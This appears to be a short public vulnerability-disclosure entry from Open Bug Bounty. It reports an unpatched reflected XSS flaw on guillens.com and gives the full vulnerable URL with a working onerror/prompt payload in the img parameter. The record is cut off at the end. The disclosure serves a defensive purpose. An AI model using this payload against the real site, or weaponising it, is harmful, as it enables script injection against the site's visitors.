guillens.com XSS vulnerability

Vulnerable URL: https://www.guillens.com/custom/largeImage.jsp?img=xss%22%20onerror=prompt%27openbugbounty%27%20%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 684001 VIP websit...